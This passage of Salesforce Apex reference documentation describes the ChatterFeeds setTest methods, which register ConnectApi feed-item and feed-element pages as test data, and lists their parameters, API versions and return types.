•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
filter
Type: ConnectApi.FeedFilter
1065
ChatterFeeds ClassReference
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, updatedSince, showInternalOnly, filter)
Testing ConnectApi Code
setTestGetFeedItemsFromFeed(communityId, feedType, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
result
Type: ConnectApi.FeedItemPage
1066
ChatterFeeds ClassReference
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType)
Testing ConnectApi Code
setTestGetFeedItemsFromFeed(communityId, feedType, pageParam, pageSize,
sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
1067
ChatterFeeds ClassReference
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedItemsFromFeed(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
29.0–31.0
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
1068
ChatterFeeds ClassReference
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
28.0–31.0
1069
ChatterFeeds ClassReference
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId)
Testing ConnectApi Code
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, pageParam,
pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedItemPage result)
1070
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Testing ConnectApi Code
1071
ChatterFeeds ClassReference
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
29.0–31.0
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
1072
ChatterFeeds ClassReference
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly,
result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
30.0–31.0
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean
showInternalOnly, ConnectApi.FeedItemPage result)
1073
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
showInternalOnly
Type: Boolean
1074
ChatterFeeds ClassReference
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
Testing ConnectApi Code
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching getFeedItemsFromFilterFeed
method is called in a test context. Use the method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
1075
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)
Testing ConnectApi Code
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix,
pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching getFeedItemsFromFilterFeed
method is called in a test context. Use the method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
1076
ChatterFeeds ClassReference
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix,
recentCommentCount, density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching getFeedItemsFromFilterFeed
method is called in a test context. Use the method with the same parameters or the code throws an exception.
API Version
29.0–31.0
Signature
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
1077
ChatterFeeds ClassReference
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code
1078
ChatterFeeds ClassReference
setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId,
keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
updatedSince, result)
Registers a ConnectApi.FeedItemPage object to be returned when the
getFeedItemsFromFilterFeedUpdatedSince method is called in a test context.
API Version
30.0–31.0
Signature
public static Void setTestGetFeedItemsFromFilterFeedUpdatedSince(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
updatedSince, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
1079
ChatterFeeds ClassReference
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token,
call getFeedItemsFromFilterFeed and take the value from the updatesToken property of the
ConnectApi.FeedItemPage response body.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Testing ConnectApi Code
setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, updatedSince, ConnectApi.FeedItemPage, results)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
30.0–31.0
Signature
public static Void setTestGetFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedItemPage results)
1080
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedItemPage response body.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code
1081
ChatterFeeds ClassReference
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, updatedSince, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
30.0–31.0
Signature
public static Void setTestGetFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of these values:
•Files
•Groups
•News
•People
•Record
subjectId
Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
1082
ChatterFeeds ClassReference
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedItemPage response body.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
30.0–31.0
Signature
public static Void setTestGetFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
Boolean showInternalOnly, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
1083
ChatterFeeds ClassReference
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of these values:
•Files
•Groups
•News
•People
•Record
subjectId
Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedItemPage response body.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
1084
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Testing ConnectApi Code
setTestGetRelatedPosts(communityId, feedElementId, filter, maxResults, result)
Registers a ConnectApi.RelatedFeedPosts object to be returned when the matching
ConnectApi.getRelatedPosts(communityId, feedElementId, filter, maxResults) method is called
in a test context. Use the method with the same parameters or you receive an exception.
API Version
37.0
Signature
public static Void setTestGetRelatedPosts(String communityId, String feedElementId,
ConnectApi.RelatedFeedPostType filter, Integer maxResults, ConnectApi.RelatedFeedPosts
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
ID of the feed element. The feed element must be a question.
filter
Type: ConnectApi.RelatedFeedPostType
Specifies the type of related feed post. Values are:
•Answered—Related questions that have at least one answer.
•BestAnswer—Related questions that have a best answer.
•Generic—All types of related questions, including answered, with a best answer, and unanswered.
•Unanswered—Related questions that don’t have answers.
Generic is the default value.
maxResults
Type: Integer
The maximum number of results to return. You can return up to 25 results; 5 is the default.
1085
ChatterFeeds ClassReference
result
Type: ConnectApi.RelatedFeedPosts
The object containing test data.
In version 37.0 and later, related feed posts are questions.
Return Value
Type: Void
setTestSearchFeedElements(communityId, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q)
Testing ConnectApi Code
1086
ChatterFeeds ClassReference
setTestSearchFeedElements(communityId, q, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, sortParam)
Testing ConnectApi Code
1087
ChatterFeeds ClassReference
setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q, String
pageParam, Integer pageSize, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.D
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, pageParam, pageSize)
Testing ConnectApi Code
1088
ChatterFeeds ClassReference
setTestSearchFeedElements(communityId, q, pageParam, pageSize, sortParam,
result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
31.0
Signature
